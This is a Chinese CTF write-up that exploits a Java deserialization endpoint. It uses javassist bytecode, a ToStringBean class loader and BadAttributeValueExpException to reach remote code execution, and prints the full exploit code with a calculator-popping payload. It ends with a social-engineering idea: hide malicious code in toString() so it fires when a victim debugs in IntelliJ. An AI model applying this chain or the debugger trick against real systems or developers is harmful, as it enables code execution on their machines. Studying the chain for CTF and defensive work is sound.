题目分析

题目给了一个jar,反编译查看

路由

public class IndexController {
    @ResponseBody
    @RequestMapping({"/"})
    public String index(HttpServletRequest request, HttpServletResponse response) {
        return "index";
    }

    @ResponseBody
    @RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
        }

        return "welcome bro.";
    }
}

这里存在一个反序列化入口/readobject但是存在限制

if (name.equals("gadgets") && year == 2021) {
    objectInputStream.readObject();
}

这里肯定是考反序列化的知识了,再看看能利用的类

发现ToStringBean.toString方法可以加载任意类,只需要控制this.ClassByte的值即可

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;

        try {
            Obj = clazz.newInstance();
        } catch (InstantiationException var5) {
            var5.printStackTrace();
        } catch (IllegalAccessException var6) {
            var6.printStackTrace();
        }

        return "enjoy it.";
    }
}

exp编写

这题还是比较简单的,首先使用javassist构造恶意的字节码

环境依赖:

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.22.0-GA</version>
</dependency>

代码如下:

//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setName("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();

然后通过反射将字节码传入ToStringBean对象的属性this.ClassByte

ToStringBean toStringBean = new ToStringBean();
Field ClassByte = ToStringBean.class.getDeclaredField("ClassByte");
ClassByte.setAccessible(true);
ClassByte.set(toStringBean,bytes);

到这里可以通过toStringBean.toString();检测是否能够成功弹出计算器,这里是成功了

下一步是找到能够触发toString()的地方,最好是重写了readObject()的

掏出当年学习CC链画的图:

image-20231019162413340

找到了可利用的类javax.management.BadAttributeValueExpException

image-20231019162835755

这个参数valObj可以由val控制,而val是私有属性,通过构造函数赋值

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}

如果val直接传入toStringBean会在反序列化前就调用了toString,会对利用造成一定困扰

所以这里传入null,然后通过反射修改val的值

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);

后面就是进行序列化操作了,在这里还要解决前面的限制

image-20231019163907545

在反序列化之前会调用readUTF()和readInt(),所以序列化的时候也要有构造对应的内容

yteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeUTF("gadgets");
objOut.writeInt(2021);
objOut.writeObject(badAttributeValueExpException);

writeUTF和writeInt的顺序是不能调换的后面使用readUTF和readInt读取数据时能够正确地解析数据,如果前面是writeUTF再writeInt,后面就要readUTF再readInt,如果前面是writeInt再writeUTF,后面就要readInt再readUTF

readUTF方法也必须先于readInt方法调用。这是因为writeUTF和readUTF方法使用一种特殊的编码方式来存储和解析字符串,而writeInt和readInt方法则使用基本的二进制编码方式来处理整数。

后面就是base64加密输出payload

String payload = Base64.getEncoder().encodeToString(btout.toByteArray());
System.out.println(payload);

payload最好进行一次url编码

传入参数后成功弹出计算器:

image-20231019164702956

发现

在调试的时候,发现从第28行开始,每一步都会弹出一个或者两个计算器

image-20231019165251779

难道说IDEA调试所产生的字符串会触发当前已使用类toString()方法的自动调用?

image-20231019165506652

测试

重新创建一个项目进行测试

首先写一个有toString方法的类

public class test {
    private String a;
    public test(String b){
        a = b;
    }
    public String toString() {
        System.out.println("触发test.toString");
        return super.toString();
    }
}

再创建一个类进行调试

public class Main {
    public static void main(String[] args) {
        test t = new test("aa");
        int x = 1;
        int y = 2;
        int res = x + y;
        System.out.println(res);
    }
}

这个main只是new 了一个test对象,后面再也没有用到与test有关的东西了

当new test()成功之后,就开始触发了这个toString,往后每一步都触发一次

image-20231019171829264

思考

这个应该不能算是一个漏洞吧,只能说是IDEA的特性。站在攻防角度来说,我只能想到一种利用方式——社工

攻击者把恶意代码藏在某个类的toString方法里(建议藏深一点),然后发个受害者,以某种方式引导让他去调试一下。当受害者调试到创建或实例化那个类的代码之后就会触发toString方法里的恶意代码,然后就GG了